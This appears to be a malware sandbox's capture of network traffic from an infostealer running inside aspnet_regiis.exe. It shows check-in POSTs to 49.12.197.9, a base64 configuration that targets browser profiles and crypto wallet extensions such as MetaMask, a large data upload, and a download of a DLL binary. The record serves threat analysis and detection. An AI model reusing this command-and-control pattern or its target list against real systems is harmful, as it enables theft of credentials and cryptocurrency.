2024-10-03 01:35:52 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 03 Oct 2024 01:35:52 GMT Content-Length: 34879 Connection: close Set-Cookie: sessionid=55e4903681e22a91514c299f; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-03 01:35:52 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-03 01:35:52 UTC	16384	IN	Data Raw: 52 54 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 Data Ascii: RT</a></div><script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4
2024-10-03 01:35:52 UTC	3768	IN	Data Raw: 75 6d 6d 61 72 79 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 73 75 6d 6d 61 72 79 5f 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 Data Ascii: ummary"></div><div class="profile_summary_footer"><span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><scr
2024-10-03 01:35:52 UTC	213	IN	Data Raw: 63 6b 3d 22 52 65 73 70 6f 6e 73 69 76 65 5f 52 65 71 75 65 73 74 4d 6f 62 69 6c 65 56 69 65 77 28 29 22 3e 0d 0a 09 09 09 09 09 3c 73 70 61 6e 3e 56 69 65 77 20 6d 6f 62 69 6c 65 20 77 65 62 73 69 74 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: ck="Responsive_RequestMobileView()"><span>View mobile website</span></div></div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49722	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:35:53 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:35:54 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:35:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-03 01:35:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49723	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:35:54 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDAFCAFCBKECBGCFIIJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 255 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:35:54 UTC	255	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 43 41 46 43 42 4b 45 43 42 47 43 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 46 34 33 39 35 37 36 36 36 43 31 31 38 30 30 38 36 39 32 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 43 41 46 43 42 4b 45 43 42 47 43 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 62 62 37 33 31 30 65 61 62 34 32 34 35 30 30 36 66 31 32 35 63 34 34 32 64 61 32 64 31 65 35 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 43 41 46 43 42 4b 45 43 42 47 43 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------FIDAFCAFCBKECBGCFIIJContent-Disposition: form-data; name="hwid"ABF43957666C118008692-a33c7340-61ca------FIDAFCAFCBKECBGCFIIJContent-Disposition: form-data; name="build_id"bb7310eab4245006f125c442da2d1e50------FIDAFCAFCBKECBGCFIIJ--
2024-10-03 01:35:55 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:35:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-03 01:35:55 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 35 36 34 30 35 32 36 63 61 32 39 30 66 64 30 31 37 61 61 61 62 62 35 63 64 36 31 66 66 32 64 64 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|5640526ca290fd017aaabb5cd61ff2dd\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49724	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:35:56 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:35:56 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 34 30 35 32 36 63 61 32 39 30 66 64 30 31 37 61 61 61 62 62 35 63 64 36 31 66 66 32 64 64 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 62 62 37 33 31 30 65 61 62 34 32 34 35 30 30 36 66 31 32 35 63 34 34 32 64 61 32 64 31 65 35 30 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 Data Ascii: ------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="token"5640526ca290fd017aaabb5cd61ff2dd------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="build_id"bb7310eab4245006f125c442da2d1e50------AKJDGIEHCAEHIEBFBKKKCont
2024-10-03 01:35:57 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-03 01:35:57 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49725	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:35:57 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBAAFHDHCBGCAKFHDAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:35:57 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 34 30 35 32 36 63 61 32 39 30 66 64 30 31 37 61 61 61 62 62 35 63 64 36 31 66 66 32 64 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 62 62 37 33 31 30 65 61 62 34 32 34 35 30 30 36 66 31 32 35 63 34 34 32 64 61 32 64 31 65 35 30 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="token"5640526ca290fd017aaabb5cd61ff2dd------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="build_id"bb7310eab4245006f125c442da2d1e50------BFBAAFHDHCBGCAKFHDAKCont
2024-10-03 01:35:58 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:35:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-03 01:35:58 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49726	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:35:59 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFHIJDHDGDBFHIEHDGI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:35:59 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 34 30 35 32 36 63 61 32 39 30 66 64 30 31 37 61 61 61 62 62 35 63 64 36 31 66 66 32 64 64 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 62 62 37 33 31 30 65 61 62 34 32 34 35 30 30 36 66 31 32 35 63 34 34 32 64 61 32 64 31 65 35 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 Data Ascii: ------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="token"5640526ca290fd017aaabb5cd61ff2dd------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="build_id"bb7310eab4245006f125c442da2d1e50------CAFHIJDHDGDBFHIEHDGICont
2024-10-03 01:35:59 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:35:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-03 01:35:59 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49727	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:36:00 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBAKKJKKECGDGCAECA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 6069 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:36:00 UTC	6069	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 34 30 35 32 36 63 61 32 39 30 66 64 30 31 37 61 61 61 62 62 35 63 64 36 31 66 66 32 64 64 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 62 62 37 33 31 30 65 61 62 34 32 34 35 30 30 36 66 31 32 35 63 34 34 32 64 61 32 64 31 65 35 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 Data Ascii: ------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="token"5640526ca290fd017aaabb5cd61ff2dd------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="build_id"bb7310eab4245006f125c442da2d1e50------DGDBAKKJKKECGDGCAECACont
2024-10-03 01:36:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-03 01:36:01 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49728	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:36:01 UTC	192	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:36:02 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:02 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Thursday, 03-Oct-2024 01:36:02 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-03 01:36:02 UTC	16121	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-10-03 01:36:02 UTC	16384	IN	Data Raw: b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-10-03 01:36:02 UTC	16384	IN	Data Raw: 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 Data Ascii: @:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSV
